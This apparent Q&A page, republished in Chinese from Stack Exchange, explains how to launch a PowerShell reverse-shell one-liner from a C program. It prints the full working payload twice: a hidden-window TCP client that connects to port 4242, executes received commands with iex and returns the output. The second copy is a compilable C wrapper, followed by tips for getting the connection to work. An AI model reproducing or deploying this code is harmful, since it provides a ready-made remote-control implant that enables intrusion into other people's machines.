如何使用C语言运行指定的PowerShell单行反弹shell?
问题核心原因
- 无法运行并非PowerShell反弹shell指令本身有问题,是两个场景下的字符串解析规则差异导致的:
- Python的三引号字符串可以直接原样保留内容,不会对引号做特殊边界截断;但C语言的
system()参数是普通字符串,字符串里的双引号"会被C编译器识别为字符串结束标记,直接把原本完整的PowerShell指令截断成残缺的无效片段。 - 你提供的原始PowerShell代码块里夹带了复制时产生的杂质文本
enter code here,PowerShell解析到这段无意义文本时会直接报错中断。
- Python的三引号字符串可以直接原样保留内容,不会对引号做特殊边界截断;但C语言的
可正常运行的实现方案
1. 先清理无效的PowerShell指令片段
删除原始代码里的杂质文本,还原成完整可独立运行的PowerShell单行指令:
powershell -W Hidden -nop -c "$client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
2. 按C语言转义规则处理字符串
把指令里用来包裹PowerShell执行逻辑的双引号,全部替换为转义形式\",让C编译器把这些引号识别为字符串的内容,而非C字符串的边界。最终可编译运行的C代码如下:
#include <stdlib.h> int main() { system("powershell -W Hidden -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\""); return 0; }
常见避坑提示
- 不需要对指令里的单引号做转义,C语言字符串中单引号属于普通字符,不会和字符串边界冲突。
- 编译完成运行前,先确保本地4242端口的监听服务正常,避免把网络连通性问题误判为代码逻辑错误。
- 如果编译时报"missing terminating quotation mark"类错误,逐一检查转义的双引号是否漏加反斜杠即可。
内容的提问来源于stack exchange,提问作者Sem
相关产品推荐
相关产品推荐

